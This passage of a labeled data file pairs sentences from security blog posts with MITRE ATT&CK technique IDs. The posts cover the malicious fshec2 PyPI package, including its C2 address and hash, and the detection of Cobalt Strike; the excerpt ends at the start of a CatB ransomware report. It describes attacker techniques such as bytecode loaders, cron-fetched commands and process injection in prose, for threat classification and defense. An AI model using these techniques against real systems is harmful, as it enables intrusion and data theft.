file, main.py, which contains Python source code responsible for loading of the Python compiled module located in one of the other files, full.pyc.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "This innocent-seeming import of a function triggers a previously unseen loading technique inside the main.py file that avoids using the usual import directive, which is the simplest way to load a Python compiled module (and also something that is likely to get noticed.)", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Instead, Importlib, the implementation of import in Python source code portable to any Python interpreter, is used to avoid detection by security tools.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "(Some explanation: Importlib is typically used in cases where the imported library is dynamically modified upon import.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "However, the library loaded by main.py was unchanged, meaning that the regular import function would have sufficed.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "This tends to support the theory that Importlib is used to avoid detection.)", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 2: Loading of the compiled Python module from main.py After the module is loaded, its get_path method is invoked", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "(see Figure 3).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Using ReversingLabs Software Supply Chain Security, my team was able to detect and extract this code from the decompiled PYC file.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The get_path method, which isn’t found (in readable form) anywhere inside the original fshec2 package, performs some of the common malicious functions observed in other malicious PyPI packages we have analyzed.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Among other things, it collects usernames, hostnames, and directory listings.", "labels": ["T1033", "T1082", "T1083"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "It also fetches commands that are set for execution using scheduled tasks or cronjob, depending on the host platform.", "labels": ["T1053.005"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 3: The decompiled code extracted from the full.pyc compiled byte code file showing the content of the get_path() method.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The fetched commands are just another Python script, which is intended to change (see Figure 4).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "In fact, while I have been writing this blog, my team observed it download and execute yet another Python script from the cron_script located on the same host.", "labels": ["T1105"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The cron_script contained functionality almost identical to the script found in full.pyc, the compiled Python module shipped with the PyPI package.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "In this way, the fshec2 attack is engineered to be able to evolve.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The full.pyc file contains functionality to download commands from a remote server identified in the commands path on the C2 server.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The downloaded commands are a Python file almost identical to full.pyc but with the location for downloading stage 2 commands placed in a cron_script, which periodically downloads new commands.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "This allows the attackers to change the content served at the commands location to make the malware serve new commands.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 4: Code responsible for downloading cron_script file A misconfigured web host gives up the goods Given the malware’s reliance on remote C2 infrastructure, it made sense to scout out the web host used in the attack to get more information about the malware’s capabilities.", "labels": ["T1105"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "As it turned out, the web host had plenty to tell us!", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Like regular developers, malware authors often make configuration mistakes when setting up infrastructure.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Such mistakes can reveal interesting information about the inner workings of malicious software.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "That was the case with the web host that was set up to communicate with compromised systems.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "For example, trying to access an invalid page on the web host did not generate a 404 “page not found” error, as you would expect.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Instead, visitors were served a page from a Django application listing a variety of commands (see Figure 5).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 5: Uncovered web locations Fortunately for us, the Django application was configured in debug mode, with error descriptions that gave us a detailed list of reachable host paths.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Some of those we had already seen in the downloaded scripts used in the attack, but there were new paths that we had not seen, including: admin, uploaded_files, and download.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Unfortunately, the trail went cold there, because all three of them require authorization to execute page functionality.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 6: Password-protected file download form Still, some information was exposed by this oversight, even without knowing the password.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "For example, command No. 7 in Figure 5 provides a way to download files by their ID using the command: download/, where file_id is an integer and the files in question are numbered in sequential order, starting from 1.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "As seen in Figure 6, the filename is also leaked without requiring authorization.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The sheer number of these mistakes might lead us to the conclusion that this attack was not the work of a state-sponsored actor and not an advanced persistent threat (APT).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "While my team didn’t collect enough evidence to prove that assumption one way or another, harvesting the filenames by incrementing file ID let us determine that the attack was successful in some cases.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Our researchers still can’t say who or what the targets were.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "However, we can confirm that developers did install the malicious PyPI package and that their machine names, usernames, and directory listings were harvested as a result.", "labels": ["T1033", "T1082", "T1083"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Using the method described above, our researchers downloaded files with ID Nos. 1-18.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The resulting filenames show that at least two targets were infected with username and hostname combinations desktop__desktop-7G-Series and Txxxx_Axxxx__LAPTOP-UH9S5HF2 (identifying information removed).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Some of the filenames suggest that additional malware commands include keylogging functionality.", "labels": ["T1056.001"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Finally, my team can’t exclude the possibility that there were other channels of distribution besides the fshec2 PyPI package that we haven’t encountered. Figure 7: Names of the files that can be downloaded Conclusion Even though this malicious package and the corresponding C2 infrastructure weren’t state of the art, they remind us how easy it is for malware authors to avoid detection based on source-code analysis.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Loader scripts such as those discovered in the fshec2 package contain a minimal amount of Python code and perform a simple action: loading of a compiled Python module.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "It just happens to be a malicious module.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Inspector, the default tool provided by the PyPI security team to analyze PyPI packages, doesn’t, at the moment, provide any way of analyzing binary files to spot malicious behaviors.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Compiled code from the .pyc file needed to be decompiled in order to analyze its content.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Once that was accomplished, the suspicious and malicious functionality was easy to see.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 8: Inspector tool provided by PyPI security team", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The discovery of malicious code in the fshec2 package underscores why the ability to detect malicious functions such as get_path is becoming more important for both security and DevSecOps teams.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Most application security solutions either do not focus on supply chain security or only perform source-code analysis as part of the package security inspection.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "That is why malware hidden inside the Python compiled byte code could slip under the radar of the traditional security solutions.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "ReversingLabs Software Supply Chain Security supports static analysis and unpacking for a wide range of binary file formats, including the kind of compiled Python byte code seen in this attack.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "As seen with fshec2, analyzing this kind of file allows defenders to extract indicators of malicious intent, making security assessment much easier.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 9: Behavior indicators and networking strings extracted from the decompiled PYC file using ReversingLabs Software Supply Chain Security.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "This includes detection of process creation, file execution, gathering of sensitive information, presence of IP addresses, and much more.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Simple scanning of source code from open-source packages will miss this type of threat.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "And, as the attackers press their advantage and become more sophisticated, even more advanced tools will be needed to make sure your developed code and software development infrastructure remains protected.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Indicators of Compromise (IoCs) Package name Version SHA1 fshec2 1.0.0 7be50d49efd1e8199decf84dc4623f58b8686161bab57a9aac8e138e4e2a9f8079fd50b7c1d31540 C2 server: 13.51.44.246 **", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "This is a Security Bloggers Network syndicated blog from ReversingLabs Blog authored by Karlo Zanki.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Read the original post at: https://www.reversinglabs.com/blog/when-python-bytecode-bites-back-who-checks-the-contents-of-compiled-python-files", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Cobalt Strike is a penetration testing tool created by Raphael Mudge in 2012.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "To this day, it remains extremely popular in red team activities and used for malicious purposes by threat actors.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Cobalt Strike is popular due to its range of deployment options, ease of use, ability to avoid detection by security products, and the number of capabilities it has.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It is for these reasons that threat actors also like Cobalt Strike.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Since Cobalt Strike is widely used by a range of actors, its lack of exclusivity makes attribution harder.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Companies still struggle to detect Cobalt Strike also due to the various defensive techniques it has.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This blog explains Cobalt Strike and practical steps to take if you believe that you are being targeted by Cobalt Strike or already compromised.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "We will demonstrate some real world examples of Cobalt Strike delivery and steps to detect each.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "What is Cobalt Strike? Cobalt Strike is marketed as “Software for Adversary Simulations and Red Team Operations.”", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It is a popular platform that allows users to emulate advanced threats, perform reconnaissance, hide communications, escalate privileges, move laterally across the network, and deploy additional payloads.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The main payload of Cobalt Strike is called “Beacon.”", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The Beacon payload is used to model advanced APT malware, and can do the following: Receive commands (either passively or from an interactive console) Egress communications over HTTP, HTTPS, and DNS Launch PowerShell Execute binaries Modify and query the Windows registry Inject malicious code into legitimate processes Log keystrokes Take screenshots Set up proxies Escalate privileges Bypass UAC Dump password hashes Scan ports among other abilities This tool is mainly used in red team operations for government agencies and private enterprises, but it’s also a popular tool leveraged by cybercrime and APT groups in cracked versions.", "labels": ["T1012", "T1055", "T1056.001", "T1071.001", "T1090", "T1112", "T1113", "T1548.002"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It is evident why Cobalt Strike is used by organizations and threat actors alike because of the extensive suite of capabilities it possesses, and also due to its ability to bypass defenses.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It also comes with the feature to generate reporting in which the attacking team or threat actor can continuously study and improve their campaigns.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Why is it difficult to detect Cobalt Strike? Cobalt Strike is difficult to detect because of its several defense techniques.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Cobalt Strike payloads are usually shellcode encrypted with a rolling XOR key.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This makes static analysis difficult to conduct.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This, combined with the ability to configure many parts of the payload, makes hash-based detection almost impossible.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Cobalt Strike stagers are designed to be loaded and executed only in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This opens up a ton of possibilities for how this shellcode is shipped, making signature-based detection on the delivery method a cat and mouse game.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Depending on how the code is delivered, the code can be injected into other legitimate running processes, bypassing defenses that do not scan legitimate processes or code in-memory.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "How has Cobalt Strike been deployed?", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Cobalt Strike has many different ways for deployment.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This flexibility has helped attackers find many unconventional and creative ways to infect victims with a payload.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "For an in-depth technical analysis of Cobalt Strike’s deployment options and how they differ, check out Avast’s blog or this Cisco Talos white paper.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Let’s take a look at some real world examples of how Cobalt Strike is being used in the wild.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "We will cover the following: Macro-Laden Microsoft Office files Supply Chain Attack Living off the Land (LotL) Executables (EXE) files Macro-Laden Microsoft Office Files An example of a Cobalt Strike payload being delivered to victims via Microsoft Excel spreadsheets demonstrates that this tool is also used in mass phishing campaigns, not just targeted APT attacks.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The attack starts by sending potential victims a Microsoft OneDrive link from which an Excel (.xls) file is downloaded.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "OneDrive URLs sent to victimsUsing cloud storage links to deliver malicious files is a well-known strategy.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It leverages the good reputation of cloud provider domains such as Microsoft, Amazon, and Google to bypass domain reputation-based security controls.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This link delivers an Excel file pretending to be an Apple Store invoice requesting the target “enable content to view receipt.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "”Spreadsheet lure masquerading as an Apple Store receiptUpon enablement of macros, the spreadsheet will fetch and execute the payload in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "How to Detect?", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This can be difficult to detect, as there are multiple degrees of separation before the Cobalt Strike payload is executed.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Detection first requires dynamic analysis in order to reach the Cobalt Strike stage.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "When this stage is reached, the best ways to detect the running Cobalt Strike code are through static signatures or genetic code analysis.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "When it comes to static signatures, it can be difficult to isolate the exact area in-memory that you should run the signatures over.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "One way this can be achieved is running the file through debugging tools and manually dumping memory to perform signature analysis.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This can be extremely time consuming and requires a high degree of technical knowledge.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Another possible way is to use a sandbox and download memory dumps from a finished analysis in order to run static analysis tools.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This requires slightly less technical knowledge but it still can be time consuming.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "We suggest taking the suspicious document and uploading it to Intezer Analyze to find out if Cobalt Strike is hidden in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Intezer Analyze result for Cobalt Strike payload Supply Chain Attack One of the biggest cybersecurity stories of 2020 was the SolarWinds supply chain attack that compromised high-profile entities around the world.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This attack was done by an APT group known as NOBELIUM (UNC2452) leveraging the “Orion” business software to distribute malware to private and public organizations.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Among the deployed malware was a Cobalt Strike loader dubbed TEARDROP by FireEye.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The variant was named Raindrop by Symantec.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The TEARDROP dropper is a memory-only DLL that runs as a service spawning a thread that pulls the Cobalt Strike payload from a fake JPG file.", "labels": ["T1027", "T1543.003"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The Raindrop variant is built from a modified version of 7-ZIP source code.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It uses a different custom packer than TEARDROP, also leveraging steganography to locate the start of the encoded payload.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Once the encoded payload has been located, it extracts, decrypts, and decompresses the data to be executed as shellcode.", "labels": ["T1027", "T1140"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It can often be difficult to detect if your organization has been the victim of a supply chain attack.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It can be especially hard to collect forensic evidence for an attack when it could be mixed in with the code of legitimate and large files.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Due to the nature of supply chain attacks, there are often a large number of machines in an organization infected at one time.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "An action you can take is to run Intezer’s live endpoint scanner across all machines in the organization.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This will give you immediate visibility over all running code and quickly identify infected machines by detecting any traces of malicious code found in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "An example of a machine with Raindrop loading Cobalt Strike is shown in the endpoint scan below.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Intezer Analyze endpoint scan result for Raindrop loading and executing a fileless Cobalt Strike payload Living off the Land (LotL) Living off the Land (LotL) is the attack process of using legitimate and signed tools, usually provided within the operating system, to execute malware.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This is a powerful tactic as it can result in unauthorized code being executed within the memory space of a trusted process, evading malware defenses by flying under the radar.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This type of tactic also makes incident response difficult, since analysts can’t just filter out known legitimate processes during triage.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "All processes must be inspected in order to find that one needle in the haystack.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "One popular tool used for LotL operations is the Microsoft.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "NET framework utility called MSBuild.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "MSBuild is the build platform used for Microsoft and Visual Studio.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Visual Studio relies on MSBuild to build projects for testing and releases.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Attackers are able to pass MSBuild.exe, a project (.proj) file, to build and execute.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The payload, usually shellcode, is injected into another process.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This attack is effective for attackers as many sandboxing solutions are not able to handle project files and struggle with fileless malware.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This technique was observed by Cisco Talos researchers in 2020 to deploy Cobalt Strike.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Project file codeAs shown above, the project file has an encoded and compressed payload.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This payload is decrypted, decompressed, and then copied into memory.", "labels": ["T1140"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The shellcode is then executed in a new thread.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "An endpoint with a system injected with Cobalt Strike via MSBuild is shown below.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Note the process tree at the bottom indicating the “fileless code.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "”Intezer Analyze endpoint scan of a Cobalt Strike-infected system via LotL technique Executables (EXE) Files There is an acronym in the United States Armed Forces called “KISS.”", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "KISS stands for “Keep it simple, stupid!”", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Sometimes simple is better, and another way for Cobalt Strike to be deployed is in a simple Windows EXE form.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This requires either social engineering tactics to get the target to execute the malware or another program/script to execute the file.", "labels": ["T1204.002"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This process involves creation of a thread that sets up a named pipe for privilege escalation.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Once the shellcode is written to the named pipe, it is decrypted and executed in a separate thread.", "labels": ["T1140"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "An example of one of these payloads is shown in the analysis below.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Notice how the Cobalt Strike code is only shown when it is executed and found in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Cobalt Strike found via memory analysis How can Cobalt Strike be detected and remediated?", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Due to the many ways Cobalt Strike is deployed, detection can be hard.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The use of shellcode, encoding, compression, obfuscated strings, process injection, hashing algorithms, domain fronting, different communication channels, and dynamically loaded libraries all give malware and network defenses a run for their money.", "labels": ["T1027", "T1055", "T1090"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Static Analysis Static analysis involves examining the file using various techniques without actually having to execute the file itself.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Static analysis can involve hashing the file and finding intel on it, taking a look at the strings to see if there are functionality or network indicators, or checking imports and running signatures such as YARA for the file.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Although useful, static analysis on its own is probably not sufficient to detect Cobalt Strike.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Using hash-based identification of Cobalt Strike is insufficient, since each payload will be encrypted with different keys and each configuration will uniquely change the hash value.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It is trivial to generate a new payload for each new target.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Checking strings may be insufficient also.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Strings for pipe names are dynamically generated and incorporate random numbers, meaning they can change every time the malware is executed.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Encrypted payloads will also obfuscate useful strings from static analysis.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "API Hashing algorithms employed by Cobalt Strike hide imports from static analysis techniques.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Signature-based detection is great for detecting malware, but due to the versatility of Cobalt Strike’s deployment using multiple stages and encrypted/obfuscated payloads, an analyst may only be able to detect that a file is going to load and execute a payload in-memory.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Without dynamic analysis, they won’t be able to detect exactly what that payload will be.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Dynamic Analysis Dynamic analysis is the process of executing the suspect file in order to analyze its behavior and how it affects the environment it runs in.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Dynamic analysis can open up new areas to explore as one can follow the malware through each stage of its deployment and functionality.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Dynamic analysis can get the malware to unpack, decode, or download additional stages.", "labels": ["T1027", "T1105", "T1140"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "These new stages are then subject to further dynamic analysis as well as the previously mentioned static analysis techniques.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Dynamic analysis does not have many limitations, although some malware includes functionality to detect if it is being observed or running inside a sandboxed environment.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "There is also the possibility that during dynamic analysis, areas of malicious code may not be intentionally executed, and thus not detected in the behavior.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The best way to detect malicious code is via genetic code analysis which is done automatically for you in Intezer Analyze. Combination of Several Techniques The best way to detect Cobalt Strike code is through a combination of dynamic, static, and genetic analysis.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Let’s take a suspicious looking document from an unknown entity as an example.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Before opening the document, we submit it to Intezer Analyze and get the verdict, as shown below.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Intezer Analyze result showing in-memory Cobalt Strike codeThe document drops and executes Cobalt Strike in the memory space of “rundll32.exe.”", "labels": ["T1218.011"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Signatures are leveraged to show capabilities and file characteristics.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Under the “TTPs” tab the user can see the techniques/capabilities employed by the malicious document.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "TTPs section showing capabilities detected during executionThe document displays interesting techniques such as macros with auto-execution, network activity with a unique user agent, office process starting martian subprocess, and process injection.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "You can also dive deeper into capabilities specific to the injected Cobalt Strike process.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The “IoCs” tab in Intezer Analyze shows indicators that can help you pivot and search in your environment during investigations to map out the scope of an attack.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "IoCs provide you with file hashes and network indicators such as URLs, and IP addresses being contacted through irregular ports.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "IoCs tab showing file and network", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "indicatorsThe “Behavior” tab shows a more in-depth analysis of the file’s behavior, where you can see the process tree, network activity, screenshots and file/registry activity.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Behavior tab showing observed behavior during sandbox execution The Only Abused Pen Testing Tool? Cobalt Strike is not the only penetration testing or legitimate tool that has been co-opted and abused by threat actors.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "In the past, tools such as Pafish (Paranoid Fish) have been used by Iranian actors in their tooling for virtual machine (VM) detection.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The “Sysinternals” suite has been used extensively by threat actors.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Most notably, PsExec has been used in high-profile attacks such as the 2017 NotPetya global ransomware outbreak.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "More recently, legitimate and penetration testing tools for the cloud have been used by threat actors.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The threat actor TeamTNT has used Weave Scope, a trusted tool which gives the user full access to their cloud environment, and is integrated with Docker, Kubernetes, the Distributed Cloud Operating System (DC/OS), and AWS Elastic Compute Cloud (EC2).", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The attacker installs this tool in order to map the cloud environment of their victim and execute system commands without needing to deploy malicious code on the server.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The same group has also been documented using the penetration testing tool Break Out The Box (BOTB) for cloud and containerized environments.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Get Started for Free With Intezer Analyze, you can analyze any suspicious files that you encounter, including non-executable files such as Microsoft Office documents, scripts, archives, and more.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Stay on top of analyzing and classifying Cobalt Strike and other threats.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Get started for free and start with 50 file uploads per month.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The post How to Detect Cobalt Strike appeared first on Intezer.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The CatB ransomware family, sometimes referred to as CatB99 or Baxtoy, was first observed in late 2022, with campaigns being observed steadily since November.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "The group’s activities have gained attention due to their ongoing use of DLL hijacking via Microsoft Distributed Transaction Coordinator (MSDTC) to extract and launch ransomware payloads.", "labels": [], "doc_title": "CatB 